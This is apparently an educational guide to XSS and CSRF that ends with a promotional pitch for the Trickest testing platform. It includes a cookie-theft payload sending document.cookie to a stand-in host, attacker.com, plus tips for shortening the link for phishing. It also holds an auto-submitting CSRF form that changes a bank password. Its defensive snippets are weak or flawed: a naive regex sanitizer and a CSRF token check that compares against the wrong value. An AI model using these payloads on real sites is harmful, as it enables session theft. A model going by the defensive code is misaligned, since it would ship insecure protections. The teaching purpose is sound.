XSS vs CSRF: A Web Security Guide

Web applications are often vulnerable to attacks such as cross-site scripting (XSS) and cross-site request forgery (CSRF). These vulnerabilities arise due to code injection attacks, but fortunately, there are simple solutions to them. In this article, we will dive into XSS and CSRF in detail, analyzing their underlying theories, working methods, and exploitation techniques. We will also explore effective workarounds and cutting-edge tools designed to automate and optimize the testing process for identifying and addressing these vulnerabilities. Keep reading to better understand these critical security issues and equip yourself with the knowledge to protect your web applications against potential attacks.

Inside XSS and CSRF Attacks

Let's begin by understanding the workings of XSS and CSRF, their different types, similarities to other attack types, and how they differ from one another.

Exploring Cross-Site Scripting (XSS)

XSS, or Cross-Site Scripting, is a type of injection vulnerability commonly performed on user interface (UI) endpoints such as the URL, search bars, and other UI-based input parameters like a search input, comment box, registration form, and so on. The main aim of XSS is to exploit the backend Javascript logic.

In a Javascript-based application, the background logic for a search is to validate the availability of a certain value provided as input. However, if the input is manipulated to cause an escape-and-execute sequence, it can cause a code execution type exploit. Sometimes, if the developer has implemented the code in a vulnerable way, it can lead to direct execution.

For instance, consider the following basic code:

function executeInput() {
        var input = document.getElementById('input').value;
        var output = document.getElementById('output');
        output.innerHTML = input;
}

The code above takes the input value and directly executes it as HTML. This means that if the input value contains a script tag, it will execute the script in real-time. For example, if the input value is:

https:\\test.com\q?=Hello <script>alert(0)</script>

The output value will be Hello and the script alert(0) will be executed.

'Hello <script>alert(0)</script>' → 'Hello' + '<script>alert(0)</script>'

The given text is divided into two parts. The first part is the display segment which consists of the word hello. The second part is the JavaScript segment which gets executed in real-time. The second segment contains the code <script>alert(0)</script>. Instead of hello, we can use document.cookie to display the user's cookie values. We will discuss how this can lead to execution of such attacks in a little while.

There are two types of XSS:

• Stored XSS
• Reflected XSS

Stored XSS: A Persistent Threat

Cross-Site Scripting (XSS) is a type of web vulnerability where an attacker injects malicious scripts into an online application. When user input is not properly validated or cleaned before being stored in a database or other permanent storage and then shared with other users, XSS can occur. This is known as saved XSS.

To illustrate cached XSS, here's a simple JavaScript example:

<form id="commentForm">
    <label for="comment">Leave a comment:</label>
    <input type="text" id="comment" />
    <button type="button" onclick="submitComment()">Submit</button>
</form>

<script>
    function submitComment() {
        var commentInput = document.getElementById('comment').value;
        var commentsDiv = document.getElementById('comments');
        var newComment = document.createElement('div');
        newComment.innerHTML = '<p>' + commentInput + '</p>';
        commentsDiv.appendChild(newComment);
    }
</script>

In the code above, we can see how a comment is added and stored directly on the HTML interface, making it a persistent element. This is a significant bug that can cause a lot of trouble and can be highly rewarding for the person who finds it. The problem is that:

• It's persistent
• It stays on the page even after it's loaded
• This issue can affect a lot of systems at once
• Can directly or indirectly impact databases if used

To demonstrate the issue, we'll use the document.cookie variable as our target. To make it work, we'll need a server to store our cookies and a website with stored XSS vulnerability.

Our payload will look like this:

var stolenCookies = document.cookie; 
var maliciousImage = new Image(); 
maliciousImage.src = 'https://attacker.com/steal.php?cookies=' + encodeURIComponent(stolenCookies);

The above code first stores the cookie values and then URL-encodes them for transfer. Finally, it transfers the cookie values to the attacker's server. In a large-scale attack, the attacker could potentially steal the cookie values of all the users, including the admins who use the affected system. This could be considered a significant data breach.

Reflected XSS: Immediate Risks

Reflected Cross-Site Scripting (XSS) is a security flaw that occurs when user input is not properly verified or cleaned before being displayed on a website. This vulnerability is caused when a web application returns user-inputted data to the user without sufficient validation. Unlike stored XSS, which is caused by malicious scripts remaining active on the server, reflected cross-site scripting attacks occur in real-time because the injected script is executed as soon as the victim interacts with a vulnerable form or visits a certain URL.

To carry out a reflected XSS attack, an attacker typically finds a web application parameter that reflects the user's input. This parameter may be included in form fields, the URL, or any other input method. The attacker then creates a malicious payload by inserting a script into the input data. For example, an attacker may insert a script into the **q **parameter of a search function in a URL like:

https://example.com/search?q=USER_INPUT.

The basic outline of how these payloads are used is something like this:

https://example.com/search?q=<script>alert("Reflected XSS");</script>

The attacker can use this payload to carry out a phishing attack. For instance, if the target is using a social media website like Reddit, and the attacker has found a reflected XSS exploit on it, they can create a payload to steal the target's cookie value. The payload URL will look something like this:

https:\\website.com\q?=<script>var stolenCookies=document.cookie;var
maliciousImage=new
Image();maliciousImage.src='https://attacker.com/steal.php?cookies='+enco
deURIComponent(stolenCookies);</script>

However, sending such a lengthy URL to the target may raise suspicion. To avoid this, the attacker can shorten the link using a link shortening service. For instance, the shortened link may look like https://shorturl.at/epyS6. The attacker can then include this shortened link in a phishing email or text message sent to the target.

In summary, these are the two types of XSS attacks and their core workings and implementations. While the execution details may be complex, tools like Trickest can be used to test or recreate such attacks.

Understanding CSRF Vulnerabilities

Cross-Site Request Forgery (CSRF) is a specific type of security vulnerability that exploits a web application's trust in a user's browser. In a CSRF attack, a hacker tricks a victim into sending a harmful request without their knowledge. Since the victim is usually authenticated with the targeted website, and the request appears to come from their browser, it appears legitimate. The hacker's goal is to act on behalf of the victim without their consent.

Typically, a victim of a CSRF attack visits a malicious website or clicks on a malicious link while still logged in to a legitimate website. The malicious site then uses the victim's authenticated session to automatically execute operations on the trusted site by including hidden code or requests. As a result, these requests are treated as authentic by the trusted site, which may cause the victim to unwittingly perform undesirable actions such as modifying account settings, carrying out financial transactions or even deleting data.

To understand how cross-site request fraud works, imagine a scenario where a user is logged into their online banking account. To recognize the user's session, the banking application employs authentication cookies. In a CSRF attack, the attacker creates a malicious webpage containing embedded code that requests the banking site on behalf of the victim. Because the victim is authorized, the banking site considers the request to be genuine when the victim visits the infected webpage. As a result, the victim's browser unwittingly sends the fraudulent request.

Here is a code example:

document.addEventListener("DOMContentLoaded", function () {
    var csrfForm = document.createElement('form');
    csrfForm.action = 'https://bankingwebsite.com/change-password';
    csrfForm.method = 'POST';
    csrfForm.id = 'csrfForm';

    var newPasswordInput = document.createElement('input');
    newPasswordInput.type = 'hidden';
    newPasswordInput.name = 'newPassword';
    newPasswordInput.value = 'malicious123';

    var confirmPasswordInput = document.createElement('input');
    confirmPasswordInput.type = 'hidden';
    confirmPasswordInput.name = 'confirmPassword';
    confirmPasswordInput.value = 'malicious123';

    csrfForm.appendChild(newPasswordInput);
    csrfForm.appendChild(confirmPasswordInput);

    var submitButton = document.createElement('button');
    submitButton.type = 'submit';
    submitButton.innerText = 'Claim Prize';

    csrfForm.appendChild(submitButton);
    document.body.appendChild(csrfForm);
    csrfForm.submit();
});

This code utilizes JavaScript to create an HTML form dynamically. It then adds a submit button and connects the form to the HTML body. The form is populated with hidden input fields for a new password and confirmation, and finally, it submits the form automatically. This code exemplifies how an attacker could modify a victim's password on a banking website without their knowledge or consent by exploiting their authenticated session. In the real world, an attacker would typically insert this code onto a malicious website or deceive the target into seeing a page that contains this code.

Techniques for Exploiting XSS and CSRF

The most common method of exploiting XSS is through fuzzing, while CSRF exploits range from hidden Iframes to malware-infected ads. We will explore both methods and their core dynamics.

Fuzzing for XSS Vulnerability Detection

Cybersecurity testing techniques, such as URL and parameter fuzzing, are used to identify web application vulnerabilities. These techniques involve systematically submitting various inputs to web application URLs and parameters to detect potential security flaws.

Uncovering Weaknesses with URL Fuzzing

URL fuzzing, also known as path fuzzing, involves modifying the different components of a URL to see how a web application responds to them. It is done to detect any vulnerabilities or unusual behavior. This can be achieved by modifying the file names, path, or any other element of the URL. Fuzzing tools are commonly used to automate this process, generating numerous URL variants to test the application's response.

Attackers may try to exploit vulnerabilities by adding directory traversal sequences ('../') to the URL path to access files or folders beyond the intended scope. The goal is to detect security weaknesses such as inadequate access controls, incorrect input validation, or other vulnerabilities that could be exploited to gain unauthorized access or disrupt the program's operation.

Parameter Fuzzing: Finding Hidden Vulnerabilities

Parameter fuzzing is a method of identifying vulnerabilities related to user input processing. It involves altering the values of parameters contained in a URL or HTTP request. Parameters are used by web applications to gather user input, such as form data or query parameters. Fuzzing tools automate the process of providing a range of input values to these parameters to assess how the program responds to different data sets.

An attacker may use fuzzing to supply multiple payloads as input for the username and password parameters on a login page. These payloads can include malicious inputs, cross-site scripting (XSS) payloads, or attempts at SQL injection. By observing how the application responds to specific inputs, security testers can detect potential flaws in input validation, data sanitization, or other security measures.

Both parameter and URL fuzzing are crucial tools for identifying security flaws and assisting developers and security experts in addressing issues before cybercriminals can exploit them. A comprehensive security testing plan should include regular, in-depth fuzz testing to enhance web applications' overall resilience against various potential threats.

Hidden Iframes in CSRF Exploits

HTML elements called hidden iframes can be loaded by a webpage in the background without being visible to users. Attackers can insert malicious code into a webpage that loads an iframe targeting a vulnerable online application when the victim is authenticated. Hidden iframes are utilized to carry out CSRF attacks.

A hidden iframe CSRF attack occurs when HTML code on the attacker's page generates an iframe that points to a URL on the victim's website. When the victim accesses the malicious webpage, the hidden iframe uses the victim's authenticated session to send requests to the targeted website, remaining hidden from the user's view. The targeted site interprets the requests as legitimate because the victim has previously provided authentication, which could result in unwanted actions.

Note that there are several such attack methods, but it is not necessary to mention them since they are just tactics and not techniques.

Combatting XSS and CSRF

XSS Prevention Strategies

Sanitization is a crucial process that involves removing any potentially harmful components from input data. This can include cleaning and filtering data to prevent security issues such as SQL injection, cross-site scripting (XSS) attacks, and other injection attacks.

Web developers often use JavaScript to provide client-side validation and sanitization while interacting with web applications. One way to sanitize input is by using regular expressions to eliminate any potentially dangerous HTML tags:

function sanitizeInput(input) {
  var sanitizedInput = input.replace(/<[^>]*>/g, '');
  return sanitizedInput;
}

var userInput = "<script>alert('Hello, this is a malicious script!');</script>";
var sanitizedUserInput = sanitizeInput(userInput);

console.log("Original input: ", userInput);
console.log("Sanitized input: ", sanitizedUserInput);

In the given example, the sanitizeInput function utilizes a regular expression and the replaced technique to remove any HTML tags ([^>]*>) from the input. This method helps to reduce the likelihood of XSS attacks, in which a hacker may try to insert malicious script tags.

However, it's important to keep in mind that client-side sanitization alone is not sufficient for ensuring the security of a program. While it is a helpful technique for improving user experience and preventing common attacks, malicious users can alter or bypass client-side code. Therefore, it is crucial to implement server-side validation and sanitization to ensure the program's integrity and security. Always ensure that the input is validated and sanitized on the server-side.

Defending Against CSRF Attacks

Cross-Site Request Forgery (CSRF) is a security vulnerability that allows an attacker to manipulate a user's browser to send unauthorized and potentially harmful requests to a web application that the user has authenticated on. To prevent CSRF attacks, it's recommended to follow some best practices, such as using anti-CSRF tokens.

Anti-CSRF tokens are unique codes generated for each user session and included in forms or AJAX request headers. The server verifies these tokens with every incoming request to ensure that they are authentic and not forged. This technique reduces the possibility of rogue websites using an authenticated user's identity to perform unwanted actions.

To implement anti-CSRF tokens in JavaScript, you can add the token to the form's headers or data. Here's a basic example using a fictitious web framework:

const express = require('express');
const bodyParser = require('body-parser');
const cookieParser = require('cookie-parser');
const csrf = require('csurf');

const app = express();

app.use(bodyParser.urlencoded({ extended: false }));
app.use(cookieParser());
const csrfProtection = csrf({ cookie: true });
app.use(csrfProtection);

app.get('/example-form', (req, res) => {
  res.render('example-form', { csrfToken: req.csrfToken() });
});
app.post('/process-form', csrfProtection, (req, res) => {
  // Validate CSRF token
  if (!req.csrfToken() || req.csrfToken() !== req.body.csrfToken) {
    return res.status(403).send('Invalid CSRF token');
  }

  res.send('Form submitted successfully');
});

app.listen(3000, () => {
  console.log('Server is running on port 3000');
});

The csurf middleware is responsible for generating and validating CSRF tokens. These tokens are included as hidden fields in forms, and the server ensures that the token is valid when the form is submitted. If the token is missing or invalid, the server returns a 403 Forbidden status. This helps to protect against CSRF attacks by adding an extra layer of security.

Using Trickest for XSS and CSRF Defense

Trickest stands as a beacon of innovation in cybersecurity, offering a visual and customizable platform for addressing vulnerabilities like XSS and CSRF. Its library, rich with tools such as wfuzz, xsstrike, xspear, and paramspider, provides a foundation for detecting and defending against these complex security threats. While tools specifically targeting CSRF are fewer, Trickest's Static code analysis workflow fills this gap effectively, making it a versatile solution for a range of cybersecurity challenges.

The core strength of Trickest lies in its orchestrated approach. Take, for example, the basic workflow for XSS detection and testing, which involves tools like gau and dalfox. Gau excels in uncovering subdomains and potential URL endpoints, paving the way for dalfox to pinpoint and exploit XSS vulnerabilities. This synergy between different nodes not only streamlines the process but also enhances the accuracy and efficiency of the tests.

Moreover, Trickest's customizable workflows adapt seamlessly to specific security needs, ensuring that each test is as thorough as it is efficient. The platform's ability to reduce errors and duplications further enhances the testing process, making it a reliable tool for security professionals.

But Trickest's capabilities extend beyond just tool integration. Its user-friendly interface, combined with powerful automation features, empowers users to craft and execute complex security workflows with ease. Whether it's for XSS, CSRF, or any other security vulnerability, Trickest's adaptive platform offers an unparalleled solution for modern cybersecurity needs.

To experience firsthand how Trickest can revolutionize your approach to XSS and CSRF defense, we invite you to sign up and explore the platform. With Trickest, orchestrating and automating offensive security becomes not just possible, but intuitive and impactful.